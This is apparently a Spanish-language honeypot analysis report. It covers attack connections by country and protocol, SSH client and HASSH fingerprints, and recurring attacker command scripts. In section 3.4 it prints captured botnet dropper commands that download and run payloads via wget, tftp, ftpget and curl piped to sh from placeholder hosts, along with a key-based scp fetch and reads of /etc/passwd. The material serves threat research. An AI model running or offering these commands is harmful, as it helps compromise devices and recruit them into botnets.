conexiones6.327conexiones a Dionaea · desde 20 IPs distintas (solo Dionaea)🇵🇰 PKPK: 6.092 conexiones6.092conexiones a Dionaea · desde 45 IPs distintas (solo Dionaea)🇹🇼 TWTW: 5.890 conexiones5.890conexiones a Dionaea · desde 39 IPs distintas (solo Dionaea)🇭🇰 HKHK: 5.573 conexiones5.573conexiones a Dionaea · desde 40 IPs distintas (solo Dionaea)🇧🇴 BOBO: 5.064 conexiones5.064conexiones a Dionaea · desde 10 IPs distintas (solo Dionaea)RU: 52.832 conexionesCN: 48.168 conexionesIN: 37.604 conexionesVN: 21.397 conexionesIR: 17.138 conexionesEG: 17.133 conexionesZA: 15.656 conexionesID: 9.835 conexionesTR: 9.768 conexionesBR: 8.518 conexionesAR: 6.327 conexionesPK: 6.092 conexionesTW: 5.890 conexionesHK: 5.573 conexionesBO: 5.064 conexiones

2.7  Protocolos: por dónde entran

Qué se puede ver aquí:

Los puertos son los públicos, no los internos del contenedor: Cowrie escucha en 2222 y 2223, pero quien ataca marcó el 22 y el 23. Un contacto es una participación contra ese puerto.

Cómo se leen:

Elige qué visualizar:

  • Total: 1.219.272 contactos en 5 protocolos
  • El más atacado: Telnet (puerto 23), con 749.523 contactos (el 61%)
  • El que atacan desde más países: SSH (puerto 22), desde 145 países

Telnet (puerto 23): 749.523 contactos (61,5%)61%SMB (puerto 445): 308.856 contactos (25,3%)25%SSH (puerto 22): 154.056 contactos (12,6%)13%Lo que no se ve: MSSQL (puerto 1433) y RPC (puerto 135) (0,6%)MSSQL (puerto 1433): 5.440 contactos (0,4%)80%RPC (puerto 135): 1.397 contactos (0,1%)20%ese 0,6% de cercay cómo se reparteTelnet (puerto 23)749.523 contactos (61,5%) · 126 paísesSMB (puerto 445)308.856 contactos (25,3%) · 104 paísesSSH (puerto 22)154.056 contactos (12,6%) · 145 paísesMSSQL (puerto 1433)5.440 contactos (0,4%) · 79 paísesRPC (puerto 135)1.397 contactos (0,1%) · 31 paísesTelnet (puerto 23): 749.523 contactos (61,5%)SMB (puerto 445): 308.856 contactos (25,3%)SSH (puerto 22): 154.056 contactos (12,6%)Lo que no se ve: MSSQL (puerto 1433) y RPC (puerto 135) (0,6%)MSSQL (puerto 1433): 5.440 contactos (0,4%)RPC (puerto 135): 1.397 contactos (0,1%)

  • Total: 749.523 contactos contra Telnet (puerto 23)
  • Desde: 126 países
  • El que más: 🇵🇰 Pakistán, con 381.982 contactos (el 51%)
  • Quedan fuera del dibujo: 111 países con menos contactos

🇵🇰 PKPK: 381.982 contactos381.982🇨🇳 CNCN: 295.699 contactos295.699🇷🇺 RURU: 32.188 contactos32.188🇺🇸 USUS: 10.471 contactos10.471🇸🇪 SESE: 7.706 contactos7.706🇸🇬 SGSG: 4.582 contactos4.582🇺🇦 UAUA: 3.987 contactos3.987🇧🇷 BRBR: 1.628 contactos1.628🇳🇱 NLNL: 1.037 contactos1.037🇲🇾 MYMY: 870 contactos870🇮🇳 ININ: 841 contactos841🇦🇷 ARAR: 665 contactos665🇰🇷 KRKR: 536 contactos536🇫🇷 FRFR: 404 contactos404🇬🇧 GBGB: 366 contactos366PK: 381.982 contactosCN: 295.699 contactosRU: 32.188 contactosUS: 10.471 contactosSE: 7.706 contactosSG: 4.582 contactosUA: 3.987 contactosBR: 1.628 contactosNL: 1.037 contactosMY: 870 contactosIN: 841 contactosAR: 665 contactosKR: 536 contactosFR: 404 contactosGB: 366 contactos

  • Total: 308.856 contactos contra SMB (puerto 445)
  • Desde: 104 países
  • El que más: 🇷🇺 Rusia, con 52.779 contactos (el 17%)
  • Quedan fuera del dibujo: 89 países con menos contactos

🇷🇺 RURU: 52.779 contactos52.779🇨🇳 CNCN: 46.529 contactos46.529🇮🇳 ININ: 37.478 contactos37.478🇻🇳 VNVN: 21.388 contactos21.388🇪🇬 EGEG: 17.121 contactos17.121🇮🇷 IRIR: 17.111 contactos17.111🇿🇦 ZAZA: 15.656 contactos15.656🇮🇩 IDID: 9.815 contactos9.815🇹🇷 TRTR: 9.736 contactos9.736🇧🇷 BRBR: 8.394 contactos8.394🇦🇷 ARAR: 6.316 contactos6.316🇵🇰 PKPK: 6.088 contactos6.088🇹🇼 TWTW: 5.861 contactos5.861🇧🇴 BOBO: 5.064 contactos5.064🇰🇿 KZKZ: 3.350 contactos3.350RU: 52.779 contactosCN: 46.529 contactosIN: 37.478 contactosVN: 21.388 contactosEG: 17.121 contactosIR: 17.111 contactosZA: 15.656 contactosID: 9.815 contactosTR: 9.736 contactosBR: 8.394 contactosAR: 6.316 contactosPK: 6.088 contactosTW: 5.861 contactosBO: 5.064 contactosKZ: 3.350 contactos

  • Total: 154.056 contactos contra SSH (puerto 22)
  • Desde: 145 países
  • El que más: 🇺🇸 Estados Unidos, con 49.896 contactos (el 32%)
  • Quedan fuera del dibujo: 130 países con menos contactos

🇺🇸 USUS: 49.896 contactos49.896🇳🇱 NLNL: 26.412 contactos26.412🇫🇷 FRFR: 14.004 contactos14.004🇩🇪 DEDE: 8.845 contactos8.845🇻🇳 VNVN: 7.869 contactos7.869🇨🇳 CNCN: 5.823 contactos5.823🇮🇩 IDID: 4.444 contactos4.444🇧🇷 BRBR: 3.774 contactos3.774🇦🇩 ADAD: 3.387 contactos3.387🇷🇺 RURU: 3.024 contactos3.024🇮🇳 ININ: 2.141 contactos2.141🇸🇬 SGSG: 1.568 contactos1.568🇹🇷 TRTR: 1.516 contactos1.516🇧🇩 BDBD: 1.430 contactos1.430🇺🇦 UAUA: 1.248 contactos1.248US: 49.896 contactosNL: 26.412 contactosFR: 14.004 contactosDE: 8.845 contactosVN: 7.869 contactosCN: 5.823 contactosID: 4.444 contactosBR: 3.774 contactosAD: 3.387 contactosRU: 3.024 contactosIN: 2.141 contactosSG: 1.568 contactosTR: 1.516 contactosBD: 1.430 contactosUA: 1.248 contactos

  • Total: 5.440 contactos contra MSSQL (puerto 1433)
  • Desde: 79 países
  • El que más: 🇭🇰 Hong Kong, con 2.299 contactos (el 42%)
  • Quedan fuera del dibujo: 64 países con menos contactos

🇭🇰 HKHK: 2.299 contactos2.299🇨🇳 CNCN: 1.639 contactos1.639🇺🇸 USUS: 605 contactos605🇮🇳 ININ: 126 contactos126🇧🇷 BRBR: 70 contactos70🇬🇧 GBGB: 62 contactos62🇨🇴 COCO: 59 contactos59🇷🇺 RURU: 52 contactos52🇩🇪 DEDE: 49 contactos49🇳🇱 NLNL: 41 contactos41🇨🇦 CACA: 39 contactos39🇨🇿 CZCZ: 32 contactos32🇹🇼 TWTW: 27 contactos27🇫🇮 FIFI: 26 contactos26🇮🇷 IRIR: 23 contactos23HK: 2.299 contactosCN: 1.639 contactosUS: 605 contactosIN: 126 contactosBR: 70 contactosGB: 62 contactosCO: 59 contactosRU: 52 contactosDE: 49 contactosNL: 41 contactosCA: 39 contactosCZ: 32 contactosTW: 27 contactosFI: 26 contactosIR: 23 contactos

  • Total: 1.397 contactos contra RPC (puerto 135)
  • Desde: 31 países
  • El que más: 🇺🇸 Estados Unidos, con 981 contactos (el 70%)
  • Quedan fuera del dibujo: 16 países con menos contactos

🇺🇸 USUS: 981 contactos981🇩🇪 DEDE: 126 contactos126🇬🇧 GBGB: 77 contactos77🇧🇷 BRBR: 54 contactos54🇭🇰 HKHK: 31 contactos31🇨🇦 CACA: 28 contactos28🇱🇹 LTLT: 15 contactos15🇹🇷 TRTR: 14 contactos14🇫🇷 FRFR: 9 contactos9🇸🇬 SGSG: 9 contactos9🇨🇿 CZCZ: 7 contactos7🇳🇱 NLNL: 6 contactos6🇵🇱 PLPL: 5 contactos5🇮🇷 IRIR: 4 contactos4🇷🇴 RORO: 3 contactos3US: 981 contactosDE: 126 contactosGB: 77 contactosBR: 54 contactosHK: 31 contactosCA: 28 contactosLT: 15 contactosTR: 14 contactosFR: 9 contactosSG: 9 contactosCZ: 7 contactosNL: 6 contactosPL: 5 contactosIR: 4 contactosRO: 3 contactos

3. Actores: los guiones que se repiten

Un guion es el conjunto de órdenes ya normalizadas (URLs, IPs, hexadecimales y números largos sustituidos) que se repite entre sesiones. Que dos IPs compartan guion dice que usan la misma herramienta; no dice que sean el mismo actor.

GuionIPsSesionesÓrdenesÓrdenes por IPPrimera vezÚltima vezPaíses (IPs)
e56f5556b7681121284.619412026-09-01 08:512026-09-21 06:59🇺🇦 52 🇨🇳 11 🇷🇺 8 🇮🇹 7
96b7a2c9470383903.538422026-08-23 20:302026-09-20 22:56🇺🇦 37 🇨🇳 29 🇮🇷 4 🇷🇺 3
7ab552f01de95613313322026-08-22 14:582026-09-21 10:19🇳🇱 22 🇺🇸 21 🇫🇷 13
2d50aaadc23341424212026-09-06 16:552026-09-11 08:22🇺🇸 8 🇮🇳 5 🇮🇩 4 🇷🇺 3
4dd379d2cd853739390102026-08-22 11:542026-09-15 19:41🇮🇹 15 🇮🇳 5 🇰🇷 3 🇹🇼 3
1b66b7c0ce683639897242026-08-24 01:232026-09-13 20:34🇺🇸 7 🇨🇳 5 🇸🇬 3 🇭🇰 3
2e66008255ae3637518142026-08-22 12:122026-09-14 11:29🇨🇳 12 🇮🇹 4 🇺🇦 3 🇷🇴 2
d76a6da1beb02426947392026-08-23 17:242026-09-20 18:54🇷🇺 4 🇮🇹 3 🇨🇳 3 🇧🇷 2
58fdeea7f78d2223910412026-08-26 21:342026-09-11 21:40🇨🇳 11 🇵🇰 2 🇹🇼 2 🇧🇷 1
feef62c9a2bc1818180102026-08-22 20:332026-09-21 06:05🇸🇪 4 🇨🇳 3 🇰🇷 3 🇷🇺 2
5e41186080951767938552026-08-22 11:392026-08-25 07:29🇨🇳 17
222f895449cb16431.118692026-09-10 19:482026-09-21 01:20🇳🇱 12 🇦🇩 4
6fa4c8ac58e714141412026-08-28 07:492026-09-20 18:26🇨🇳 11 🇺🇸 1 🇭🇰 1 🇦🇹 1
a907ec7650e413433.7412872026-08-28 20:562026-09-05 22:26🇳🇱 9 🇦🇩 4
c3b73fff024c12282.6882242026-08-23 22:372026-08-28 07:39🇳🇱 9 🇦🇩 3
87ac871845491212276232026-09-14 19:492026-09-21 06:59🇺🇸 2 🇩🇪 1 🇮🇳 1 🇪🇪 1
6c56870dc6961121210192026-09-07 19:482026-09-10 13:18🇳🇱 8 🇦🇩 3
be50f2298a5082472.2232772026-08-22 23:222026-09-18 20:01🇺🇸 3 🇸🇬 2 🇲🇾 1 🇿🇦 1
12d460cca6e9893642026-08-27 10:202026-09-21 05:49🇺🇦 2 🇷🇺 2 🇹🇷 1 🇷🇸 1
ea0bda06a6d9883.1043882026-09-15 12:512026-09-19 19:04🇨🇳 5 🇮🇹 1 🇨🇿 1 🇻🇳 1
2cae85b8b53576715.3687662026-08-22 15:222026-09-15 10:42🇺🇸 7
096b254d18b777287412026-08-22 12:432026-08-23 04:01🇿🇦 1 🇦🇷 1 🇷🇺 1 🇺🇦 1
ddbb240116207798142026-08-22 14:272026-09-19 23:40🇨🇳 3 🇷🇺 1 🇺🇦 1 🇿🇦 1
93c3ba182a9277168242026-08-23 15:502026-09-18 21:38🇰🇷 6 🇲🇴 1
2d9fe8175be277712026-08-24 21:192026-09-18 14:20🇨🇳 3 🇷🇺 1 🇻🇳 1 🇮🇷 1

3.1  Los que más aprietan

Los mismos guiones, ordenados por la media de órdenes por IP en vez de por el número de IPs que los corren. Un guion con pocas IPs y muchísimas órdenes por cada una suele ser alguien que vuelve una y otra vez, no un barrido.

GuionIPsSesionesÓrdenesÓrdenes por IPPaíses (IPs)
7b8032c80bc612.65837.21237.212🇵🇰 1
b5504015eca511.13815.93215.932🇵🇰 1
99aae771f81813014.52014.520🇵🇰 1
aeed5d9396f8161511.68511.685🇵🇰 1
44cf8d62e54416469.0449.044🇵🇰 1
f8716cb13aa811768.5878.587🇳🇱 1
0bdb3cfd24c113606.4806.480🇵🇰 1
856b6363a91613376.0666.066🇵🇰 1
cfb896d3b17712935.5675.567🇵🇰 1
bacdff4d942a13085.5445.544🇵🇰 1

3.2  Cómo se llaman a sí mismas

Muchas órdenes llevan una tira del tipo echo -e "\x4f\x56\x46": la herramienta escribe una palabra byte a byte y espera leerla de vuelta, que es como comprueba que al otro lado hay un shell de verdad y no un dispositivo que ignora lo que recibe. En hexadecimal es ruido; en claro es el nombre que la variante se pone a sí misma o la señal con la que se reconoce.

La orden se enseña tal como llegó en el desplegable de más abajo: esto es una lectura de esa prueba, no una sustitución. Solo se descifran las tiras que salen enteras en texto imprimible: con media palabra legible no se puede leer nada sin adivinar.

En claroTal como va en la ordenVecesIPs
OVFUGZ\x4f\x56\x46\x55\x47\x5a5.3161
kami\x6b\x61\x6d\x694.0481
LLVFUMFN\x4c\x4c\x56\x46\x55\x4d\x46\x4e2.6581
AMUGLF\x41\x4d\x55\x47\x4c\x462.5146
UHDQTY\x55\x48\x44\x51\x54\x592.2871
GAYFGT\x47\x41\x59\x46\x47\x542.163225
RKZKAT\x52\x4b\x5a\x4b\x41\x541.9964
QFHBXD\x51\x46\x48\x42\x58\x441.7785
GYIYOA\x47\x59\x49\x59\x4f\x411.6124
NBOWJZ\x4e\x42\x4f\x57\x4a\x5a1.5071
XZHYXW\x58\x5a\x48\x59\x58\x571.3501
MCRWVR\x4d\x43\x52\x57\x56\x521.3385
DDHSRQ\x44\x44\x48\x53\x52\x511.2601
SVOYSTGB\x53\x56\x4f\x59\x53\x54\x47\x421.2576
ZPMKYDYL\x5a\x50\x4d\x4b\x59\x44\x59\x4c1.1431
BSOPHM\x42\x53\x4f\x50\x48\x4d1.0184
PIGOCTCQ\x50\x49\x47\x4f\x43\x54\x43\x519984
FEZOYC\x46\x45\x5a\x4f\x59\x439187
LUCPAWVC\x4c\x55\x43\x50\x41\x57\x56\x438895
GAY\x47\x41\x598801
EDENXS\x45\x44\x45\x4e\x58\x538802
ANQCXU\x41\x4e\x51\x43\x58\x558711
PFFTWM\x50\x46\x46\x54\x57\x4d8201
OCLBPA\x4f\x43\x4c\x42\x50\x418072
XPFAOH\x58\x50\x46\x41\x4f\x488072

3.3  Con qué se conectan

La versión del cliente es la cadena que manda el programa del atacante nada más abrir la conexión, antes de probar ninguna credencial. No la elige quien ataca: la pone su herramienta, y por eso dice más de qué está corriendo que las órdenes que teclee después.

ClienteSesionesIPs distintas
SSH-2.0-Go135.3162.003
SSH-2.0-libssh_0.9.62.667150
SSH-2.0-AsyncSSH_2.1.02.36125
SSH-2.0-libssh_0.12.01.59056
SSH-2.0-OpenSSH_7.4802574
SSH-2.0-AsyncSSH_2.21.14561
SSH-2.0-PuTTY_Release_0.703573
SSH-2.0-libssh_0.10.51774
SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u31656
SSH-2.0-libssh_0.11.114711
SSH-2.0-ZGrab ZGrab SSH Survey11198
SSH-2.0-libssh2_1.11.110288
SSH-2.0-ssh2js1.17.01001
SSH-2.0-Nmap-SSH2-Hostkey9616
SSH-2.0-9.66 FlowSsh: Bitvise SSH Client (Tun…621
SSH-2.0-Granados-1.0611
GET / HTTP/1.16052
SSH-2.0-OpenSSH414
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.83230
SSH-2.0-OPENSSH_7.93011
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2292
SSH-2.0-Fingerprintx-SSH22727
SSH-2.0-libssh_0.7.42610
SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u4263
MGLNDD_[IP VPS]_222525

El HASSH es el resumen de los algoritmos que el cliente ofrece al negociar la conexión (cifrados, intercambio de claves, MAC y compresión) y del orden en que los ofrece. Lo calcula Cowrie. Dos IPs con el mismo HASSH corren el mismo programa aunque tecleen cosas distintas: esa huella no se cambia sin recompilar o sin cambiar de librería, y el atacante no la ve.

HASSHSesionesIPs distintasSe presenta como
0a07365cc01fa9fc82608ba4019af49949.94866SSH-2.0-Go
16443846184eafde36765c9bab2f439724.447225SSH-2.0-Go
98f63c4d9c87edbd97ed4747fa03101916.30752SSH-2.0-Go
3e927d21d5e38eb98fdcbc772e46f31112.59169SSH-2.0-Go
bfd3c5d5d43b99449fd25acd82d2c3d812.119951SSH-2.0-Go
2ec37a7cc8daf20b10e1ad6221061ca57.58916SSH-2.0-Go
06ff3615a51b2af343ec22abc8e30bbc5.562738SSH-2.0-Go
3c86b175b3d676028ff08e21fa21a7153.621776SSH-2.0-Go
f555226df1963d1d3c09daf865abdc9a2.617146SSH-2.0-libssh_0.9.6
fda360b1b4f4d3455cb75c6e7edb1d112.34125SSH-2.0-AsyncSSH_2.1.0
a591c4ddccc960a2da8099958270fc921.58355SSH-2.0-libssh_0.12.0
acaa53e0a7d7ac7d1255103f37901306787564SSH-2.0-OpenSSH_7.4
98ddc5604ef6a1006a2b49a58759fbe669140SSH-2.0-Go
eff4c24daffc8532c160e86e5f006e536171SSH-2.0-Go
01ca35584ad5a1b66cf6a9846b5b28214581SSH-2.0-Go
6262add29fb5b42d27a3463e66d700d94561SSH-2.0-AsyncSSH_2.21.1
0425c279610910d2d9aef3b285e59b863573SSH-2.0-PuTTY_Release_0.70
146084eb5d16a32ed3ab600ed2c5d7732313SSH-2.0-OpenSSH_7.4p1 · SSH-2.0-OpenSSH_8.4…
4e066189c3bbeec38c99b1855113733a22739SSH-2.0-Fingerprintx-SSH2 · SSH-2.0-Go
1f2f2f9b0a736952f743e5490c64c98a1774SSH-2.0-libssh_0.10.5
f1e5e9d24e5e345e8745613bde22d5321581SSH-2.0-Go
03a80b21afa810682a776a7d42e5e6fb1449SSH-2.0-libssh_0.11.1
390ffe68a68c2a2891210413e80689fa1384SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3
594c57870d0ec290ad3f328d5116eb18128118SSH-2.0-Go
084386fa7ae5039bcf6f07298a05a22712487SSH-2.0-Go

3.4  Quién corre cada guion

e56f5556b768 : 112 IPs, 128 sesiones, 4.619 órdenes · visto del 2026-09-01 08:51 al 2026-09-21 06:59

IPPaísSesiones con este guionEstado
<IP-UA-001>🇺🇦 Ucrania3denunciada
<IP-IT-001>🇮🇹 Italia3denunciada
<IP-MT-001>🇲🇹 Malta2denunciada
<IP-PT-001>🇵🇹 Portugal2denunciada
<IP-UA-013>🇺🇦 Ucrania2denunciada
<IP-UA-002>🇺🇦 Ucrania2denunciada
<IP-UA-003>🇺🇦 Ucrania2denunciada
<IP-UA-014>🇺🇦 Ucrania2denunciada
<IP-UA-015>🇺🇦 Ucrania2denunciada
<IP-UA-016>🇺🇦 Ucrania2denunciada
<IP-UA-017>🇺🇦 Ucrania2denunciada
<IP-AL-001>🇦🇱 Albania2denunciada
<IP-UA-018>🇺🇦 Ucrania2denunciada
<IP-PK-003>🇵🇰 Pakistán2denunciada
<IP-RU-008>🇷🇺 Rusia1denunciada

(y 97 IPs más)

Ver las 34 órdenes de e56f5556b768
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-

96b7a2c94703 : 83 IPs, 90 sesiones, 3.538 órdenes · visto del 2026-08-23 20:30 al 2026-09-20 22:56

IPPaísSesiones con este guionEstado
<IP-UA-019>🇺🇦 Ucrania3denunciada
<IP-UA-008>🇺🇦 Ucrania2denunciada
<IP-UA-001>🇺🇦 Ucrania2denunciada
<IP-UA-020>🇺🇦 Ucrania2denunciada
<IP-UA-021>🇺🇦 Ucrania2denunciada
<IP-UA-022>🇺🇦 Ucrania2denunciada
<IP-UA-023>🇺🇦 Ucrania1denunciada
<IP-CN-003>🇨🇳 China1denunciada
<IP-CN-004>🇨🇳 China1denunciada
<IP-CN-005>🇨🇳 China1denunciada
<IP-CN-006>🇨🇳 China1denunciada
<IP-CN-007>🇨🇳 China1denunciada
<IP-CN-008>🇨🇳 China1denunciada
<IP-CN-009>🇨🇳 China1denunciada
<IP-CN-010>🇨🇳 China1denunciada

(y 68 IPs más)

Ver las 38 órdenes de 96b7a2c94703
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"
>/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/
>/var/d && chmod 777 /var/d && /var/d && cd /var/
>/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/
>/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/
>/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/
>/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/
>/data/d && chmod 777 /data/d && /data/d && cd /data/
>/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/
>/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/
>/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/
>/home/d && chmod 777 /home/d && /home/d && cd /home/
>/root/d && chmod 777 /root/d && /root/d && cd /root/
echo -e "\x47\x41\x59\x46\x47\x54"
(wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w
wget <URL> -O-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t
tftp -g <IP> -r tftp -l-
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
echo -e "\x47\x41\x59\x46\x47\x54"
(ftpget <IP> f ftpget || busybox ftpget <IP> f ftpget) > f; chmod 777 f; ./f; rm -rf f
ftpget <IP> f ftpget

7ab552f01de9 : 56 IPs, 133 sesiones, 133 órdenes · visto del 2026-08-22 14:58 al 2026-09-21 10:19

IPPaísSesiones con este guionEstado
<IP-US-040>🇺🇸 Estados Unidos6denunciada
<IP-NL-001>🇳🇱 Países Bajos4denunciada
<IP-US-004>🇺🇸 Estados Unidos4denunciada
<IP-US-041>🇺🇸 Estados Unidos4denunciada
<IP-US-042>🇺🇸 Estados Unidos4denunciada
<IP-US-043>🇺🇸 Estados Unidos4denunciada
<IP-US-044>🇺🇸 Estados Unidos4denunciada
<IP-US-045>🇺🇸 Estados Unidos4denunciada
<IP-US-046>🇺🇸 Estados Unidos4denunciada
<IP-US-047>🇺🇸 Estados Unidos4denunciada
<IP-US-048>🇺🇸 Estados Unidos4denunciada
<IP-US-049>🇺🇸 Estados Unidos4denunciada
<IP-US-050>🇺🇸 Estados Unidos2denunciada
<IP-FR-002>🇫🇷 Francia2denunciada
<IP-NL-002>🇳🇱 Países Bajos2denunciada

(y 41 IPs más)

Ver la orden de 7ab552f01de9
uname -s -v -n -r -m

2d50aaadc233 : 41 IPs, 42 sesiones, 42 órdenes · visto del 2026-09-06 16:55 al 2026-09-11 08:22

IPPaísSesiones con este guionEstado
<IP-RO-001>🇷🇴 Rumanía2denunciada
<IP-CA-001>🇨🇦 Canadá1denunciada
<IP-US-001>🇺🇸 Estados Unidos1denunciada
<IP-US-002>🇺🇸 Estados Unidos1denunciada
<IP-ID-001>🇮🇩 Indonesia1denunciada
<IP-IN-001>🇮🇳 India1denunciada
<IP-PL-003>🇵🇱 Polonia1denunciada
<IP-HK-001>🇭🇰 Hong Kong1denunciada
<IP-IN-002>🇮🇳 India1denunciada
<IP-IN-003>🇮🇳 India1denunciada
<IP-US-003>🇺🇸 Estados Unidos1denunciada
<IP-TW-001>🇹🇼 Taiwán1denunciada
<IP-KG-001>🇰🇬 Kirguistán1denunciada
<IP-BR-001>🇧🇷 Brasil1denunciada
<IP-ID-003>🇮🇩 Indonesia1denunciada

(y 26 IPs más)

Ver la orden de 2d50aaadc233
uname -a 2>/dev/null

4dd379d2cd85 : 37 IPs, 39 sesiones, 390 órdenes · visto del 2026-08-22 11:54 al 2026-09-15 19:41

IPPaísSesiones con este guionEstado
<IP-IT-002>🇮🇹 Italia2denunciada
<IP-KR-003>🇰🇷 Corea del Sur2denunciada
<IP-PK-001>🇵🇰 Pakistán1denunciada
<IP-IN-004>🇮🇳 India1denunciada
<IP-GE-001>🇬🇪 Georgia1denunciada
<IP-TR-001>🇹🇷 Turquía1denunciada
<IP-IT-003>🇮🇹 Italia1denunciada
<IP-BR-002>🇧🇷 Brasil1denunciada
<IP-AR-001>🇦🇷 Argentina1denunciada
<IP-KR-001>🇰🇷 Corea del Sur1denunciada
<IP-PK-002>🇵🇰 Pakistán1denunciada
<IP-IN-005>🇮🇳 India1denunciada
<IP-IT-004>🇮🇹 Italia1denunciada
<IP-IT-005>🇮🇹 Italia1denunciada
<IP-UA-009>🇺🇦 Ucrania1denunciada

(y 22 IPs más)

Ver las 10 órdenes de 4dd379d2cd85
sh
shell
shell
enable
system
system
ping; sh
/bin/busybox STC
/bin/busybox hostname TOASTER
/bin/busybox wget <URL> -O- | sh;rm -rf tftp.sh;/bin/busybox tftp <IP> -g -r tftp.sh -l tftp.sh;chmod 777 tftp.sh && sh tftp.sh;rm -rf ftp.sh;/bin/busybox ftpget <IP> -P <N> ftp.sh ftp.sh;chmod 777 ftp.sh && sh ftp.sh;

1b66b7c0ce68 : 36 IPs, 39 sesiones, 897 órdenes · visto del 2026-08-24 01:23 al 2026-09-13 20:34

IPPaísSesiones con este guionEstado
<IP-SA-001>🇸🇦 Arabia Saudí2denunciada
<IP-SG-001>🇸🇬 Singapur2denunciada
<IP-RU-001>🇷🇺 Rusia2denunciada
<IP-CN-017>🇨🇳 China1denunciada
<IP-US-005>🇺🇸 Estados Unidos1denunciada
<IP-CN-018>🇨🇳 China1denunciada
<IP-SG-002>🇸🇬 Singapur1denunciada
<IP-CN-019>🇨🇳 China1denunciada
<IP-VN-001>🇻🇳 Vietnam1denunciada
<IP-KR-002>🇰🇷 Corea del Sur1denunciada
<IP-ET-001>🇪🇹 Etiopía1denunciada
<IP-HK-003>🇭🇰 Hong Kong1denunciada
<IP-US-006>🇺🇸 Estados Unidos1denunciada
<IP-US-007>🇺🇸 Estados Unidos1denunciada
<IP-NL-028>🇳🇱 Países Bajos1denunciada

(y 21 IPs más)

Ver las 23 órdenes de 1b66b7c0ce68
id
cat /etc/passwd
echo -e "\x61\x75\x74\x68\x5F\x6F\x6B\x0A"
enable
system
system
shell
shell
sh
bash
cd /tmp || cd /var/tmp || cd /dev/shm; echo '-----BEGIN OPENSSH PRIVATE KEY-----
<CLAVE PRIVADA OMITIDA>
-----END OPENSSH PRIVATE KEY-----' > key.ppk; echo 'StrictHostKeyChecking no
-----END OPENSSH PRIVATE KEY----- > key.ppk; echo StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > sshcfg; chmod 400 key.ppk; scp -F sshcfg -i key.ppk dlr@<IP>:sh out_sh; if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet >/dev/null 2>&1; else (wget --no-check-certificate -qO- <URL> || curl -sk <URL> | sh -s telnet; fi; rm -rf sshcfg key.ppk out_sh; echo -e "\x72\x65\x64\x74\x61\x69\x6C\x5F\x62\x6F\x74\x5F\x74\x65\x6C\x6E\x65\x74\x5F\x6F\x6B"

2e66008255ae : 36 IPs, 37 sesiones, 518 órdenes · visto del 2026-08-22 12:12 al 2026-09-14 11:29

IPPaísSesiones con este guionEstado
<IP-ES-001>🇪🇸 España2denunciada
<IP-IT-007>🇮🇹 Italia1denunciada
<IP-CN-020>🇨🇳 China1denunciada
<IP-UA-010>🇺🇦 Ucrania1denunciada
<IP-CN-021>🇨🇳 China1denunciada
<IP-RS-001>🇷🇸 Serbia1denunciada
<IP-CN-022>🇨🇳 China1denunciada
<IP-CN-023>🇨🇳 China1denunciada
<IP-CN-024>🇨🇳 China1denunciada
<IP-PK-003>🇵🇰 Pakistán1denunciada
<IP-RO-002>🇷🇴 Rumanía1denunciada
<IP-VN-002>🇻🇳 Vietnam1denunciada
<IP-UA-011>🇺🇦 Ucrania1denunciada
<IP-CN-025>🇨🇳 China1denunciada
<IP-IT-008>🇮🇹 Italia1denunciada

(y 21 IPs más)

Ver las 14 órdenes de 2e66008255ae
enable
system
system
shell
shell
sh
linuxshell
linuxshell
enablelinuxshell
enablelinuxshell
ping ;sh
echo -e "\x47\x41\x59\x46\x47\x54"
cd /proc && cat self/cmdline
echo -e "\x47\x41\x59\x46\x47\x54"

d76a6da1beb0 : 24 IPs, 26 sesiones, 947 órdenes · visto del 2026-08-23 17:24 al 2026-09-20 18:54

